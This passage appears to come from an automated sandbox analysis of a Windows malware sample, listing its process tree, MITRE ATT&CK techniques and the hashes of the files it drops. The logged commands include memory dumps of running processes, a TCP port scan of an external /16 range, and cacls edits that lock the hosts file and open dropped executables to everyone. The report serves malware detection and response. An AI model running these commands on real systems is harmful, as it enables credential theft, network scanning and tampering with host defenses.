C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 2016 C:\Windows\TEMP\kfesmkaky\2016.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2212 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 2712 C:\Windows\TEMP\kfesmkaky\2712.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1952 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 3588 C:\Windows\TEMP\kfesmkaky\3588.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2724 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 3212 C:\Windows\TEMP\kfesmkaky\3212.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2696 -
C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exeC:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 3932 C:\Windows\TEMP\kfesmkaky\3932.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4760 -
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\kfesmkaky\ljlebekct\scan.bat2⤵PID:2804
-
C:\Windows\kfesmkaky\ljlebekct\rykaeepeu.exerykaeepeu.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:432 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵PID:5336
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5776
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:5816
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5580
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:5648
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:5920
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:5916
-
C:\Windows\SysWOW64\xchlyg.exeC:\Windows\SysWOW64\xchlyg.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:632
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\mghfsiy.exe1⤵PID:5116
-
C:\Windows\ime\mghfsiy.exeC:\Windows\ime\mghfsiy.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2984
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F1⤵PID:872
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵PID:3104
-
C:\Windows\system32\cacls.execacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F2⤵PID:3020
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F1⤵PID:1800
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵PID:4564
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F2⤵PID:4188
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F1⤵PID:5824
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵PID:4668
-
C:\Windows\system32\cacls.execacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F2⤵PID:3560
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\mghfsiy.exe1⤵PID:3336
-
C:\Windows\ime\mghfsiy.exeC:\Windows\ime\mghfsiy.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4532
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F1⤵PID:4964
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵PID:4980
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F2⤵PID:5060
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
4.2MB
MD59d75924522cf677b1907e4a2edbe3c4f
SHA1ff9035635e495c65873a43c1e745c02abd93b96d
SHA25672fe70324ebedf63c7ae4aff873fd109ca73c0ae5aad16bc18b2ab88de6a1d8d
SHA512d7fab16bb64cdf15789b36fc1a0348852f27c0decc29f5a1a53bf4db3eef628d2eeba00984674390a2bf302d330c05fb8f98d2f693c613ac2ff6ae8cdc819dc9
-
Filesize
26.0MB
MD53d261ba2c9d5893158c65c62cc3de268
SHA1d8627defc7d57e1bed930d75cac922fef1c66635
SHA256fdc7e1668562628b590fe7c1805c3664105701bb3b51f6afc279c1ea28b3959e
SHA5129667d3f8e9aa957711bf61556dc9ba53f1818257160f2f70ea070b73e52091f97f46f6821bd5b5798ebea603a26d45ea88126b2dd36dc99d514a67c0a037d2b1
-
Filesize
3.9MB
MD503b54c11120bbf4bbb459ccb0d34d6e2
SHA19a27af533a87752dd0b089799ed3ab4c9c1c085b
SHA2561dc0e67e59235b03c39e173b6d712a392254f20882b67c9a3f892255868d22f5
SHA512d3c01d5e35280c157926f98736c6793f7586d7b84eeff5692eda1c8a9a22b8a754e5189366a660b2eb360ea1372ab3c0c7180d73796a855b1bb0112a59a09284
-
Filesize
7.6MB
MD5d90af0a1611dc6f0c2080b3f3261717c
SHA1e9743dd6727be15530710df677f8cc42441e6c12
SHA2566ae161432892c814fc953b17dd32728564d50608aaec302456d7414eac21d9ef
SHA512482976fce483a389752dc61112220394784f4efdbe0c06cd8d5bb94f11b0f1122481db5a2bad5bcd3dc9979286ac3a857a42f2be08eb8b3bfc2517a1c0720f0e
-
Filesize
9.0MB
MD5083d7ad40b8aba4718115cccce528d7e
SHA1c20dc4ef54f5bfc0bdb3bc0f8844a5df5639aed7
SHA256ced8c5fe9255adcbd7be808d5f2bff424328abdd68e3cd58d38bc1f8cc754011
SHA512192c7645bb7d5b72de1c06680b23bf7ca50d5f36b9f25754c27c598b423a83534260fa65d3b031a22e1ca77784540a61da3d74312ef9bafe1ce63d44522f307d
-
Filesize
814KB
MD57c0b46ae9cdd605c9dec59b7fa83e733
SHA12736b11abe58517968b998d6af453b88c4b65c90
SHA2562b47ed8cbf1335d46a2e44b44b547805dd398f4e6fd95bc7f2192964a39f1710
SHA512b16a448ccda1f61acb6008eb0170c0ccc1ff89074c513faaca83932d0d17516ee38c5f072c2f4a3a421c9c883c850219e45f6594976b33be70decbb7ec0d2f9e
-
Filesize
2.9MB
MD5e3fa6c8aab1f0eebd87237e5cf388643
SHA1021a56f84d3cf6ad15eec16c5431894276e862a2
SHA256fe020f32be6464c1985357f6fd1127557ef111ef7410816fc6fd7d4a3fdf05b7
SHA5120e8ad86e2b709198304ffdbb1a60c438fe5b017017ca4500d1f7abe53c1e9a6957fc2f3b6b1ee79d0340af577f7088740df02757936bf0175224606dd26e7e12
-
Filesize
33.3MB
MD56c68ada95b3432f1bb53dab68adcfacd
SHA1903e4ebef54f4d0dce0ddc9326fcec6f100e6faf
SHA256d3b7a5108ed9aed3f677463fa7ff231c5f230e6f34c684f5c1a6b54875d463d4
SHA5121706faa3b288dde0b0abc503ea39c2ab353910f83f5079852f2fa7513cc0b171456678af609a87c28e0146738e6e1c63de72fa04cead2292ae99a4d486fe66bc
-
Filesize
1.6MB
MD5f000ad8dee990b4aa47cb955999a70ad
SHA13a254a72fef34d439194de0660909f8ff01515c2
SHA256c6383ca49bb3240561e36d4f6bc620586bf775646392fa2ec76945ff0bc923af
SHA512199be4325a5167197c090d31a42c7b4a436ede9dcb066942e62fbf9f9ee50c2c85b6f8ee38313d069d9e966f287ce661040a725ea46eb5fd6728bda78ac0ceac
-
Filesize
2.5MB
MD5d1dc22880295d4ff68af7d7ee8295a82
SHA1f3971428b118e42a01b8754120785fcf53dbf2ab
SHA2566265d13d176668a8227ca02206918d7500c5d958f3c480c126f860139b8b0f37
SHA5122e683901ff5858dae0375d2fa4c078808bd656bcd6d1c8abcdaab16bbe0638b4a67d1a68a2f5c38275d8c5b3deff2a66c98ef445fa23e17a0209942700bf3bd3
-
Filesize
20.8MB
MD55f9471a294513798d3294d97ec7c657b
SHA1223da9c99b252873fcafef45a0e0ee41e20943e0
SHA2563b757a97ee0b2e46160b0aa4eab6538687f1fef1c067923d77f95e4ffb775f9d
SHA51291e1a46091b6b3b66a7f4508e6817282ec6a1226b81d2e878654376846d13e7faf05b165c94b7a5457293f4bca2b52fbc2100b54514826f1ed744fd0ffd31bee
-
Filesize
4.3MB
MD5d4182cc9df0fb9ac111df6f090b6d1b8
SHA1faf8131c6f78760e02462c304cc133f108cdbba8
SHA25618062f93a0f8eb1238bf7dadc9ba8f5152e295da15e682868145866c35abe706
SHA5125a6050ea4ae929af39f98fce1e45fa08efe29d93ec6de0e9480c9ed6950ce5ccc5fa5859c92725abc536c47585357ac94bd08728585ab1f8699454bbf263da37
-
Filesize
44.7MB
MD5e6b911285fc7401b00881e3c06cbe5f5
SHA1f88cb5a458b3a6469c0a4292fe9d7580fb2bd352
SHA256f99f34c414722a0d5abd119865e15712a8327b0b69152d046cba254258a6c389
SHA512f866b6a692eb06c3b7240117fd40fa9079cbec764ecf5122aa57a643bd972a4ec09af3d54a289efeabeaca34946bc4513ad9cce53e927eab367c3a29414f692d
-
Filesize
1.2MB
MD56dbdc15d812ae3a1d8687499c5b29fea
SHA11cafd4aaffec463fc12ea7640506771b1591523a
SHA2567e888282fc2dd1fa75f1009fedde208088c1edae1c5fab43c34dd7b63d9fd8c0
SHA5125859e72dab6c8fb0456d9db0703036f97468d0f3f474ab3330a8bfe1292df914afc60d5a566a18e151a446fbca89ce0e803cb227a41821d9bea6b4e104b5508b
-
Filesize
1019KB
MD59d035f8e2536dee18b47884d04b1d390
SHA11fd0cc67dc640eb5396e730d111c0de6bf3448ae
SHA25641aafc5815473abba19963487cf51d3974e2cea94e33d5870c99adbe708541d8
SHA5127fc9b31013522c3bf71aea7dd18556b0712ce8cddd2bf824c67d45b036d7372077a4ee522d5562b99b29b2a296ec8389cf1cd4fc9286d974dda969460184513e
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
-
Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
-
Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
-
Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
-
Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
-
Filesize
7.7MB
MD5367f31217eb7147eb7f2d59a385f7120
SHA1333576fbec050761380a6c9bba9c8f423a646951
SHA2562912bcb92a7cf0c1661e29e30a25d51853a7b44f5b9d447dd469721b62ac0e0b
SHA512d44cccd4c30490ddde8c2ca416a8968d4e7076b83a17d719904d13cb3c4421eec1e7a6ababd630d5972a8d09ad85c8c8e11abde7bf3a320488ae6cf354b35ffc
-
Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
-
Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
-
Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
-
Filesize
1KB
MD5c838e174298c403c2bbdf3cb4bdbb597
SHA170eeb7dfad9488f14351415800e67454e2b4b95b
SHA2561891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53
SHA512c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376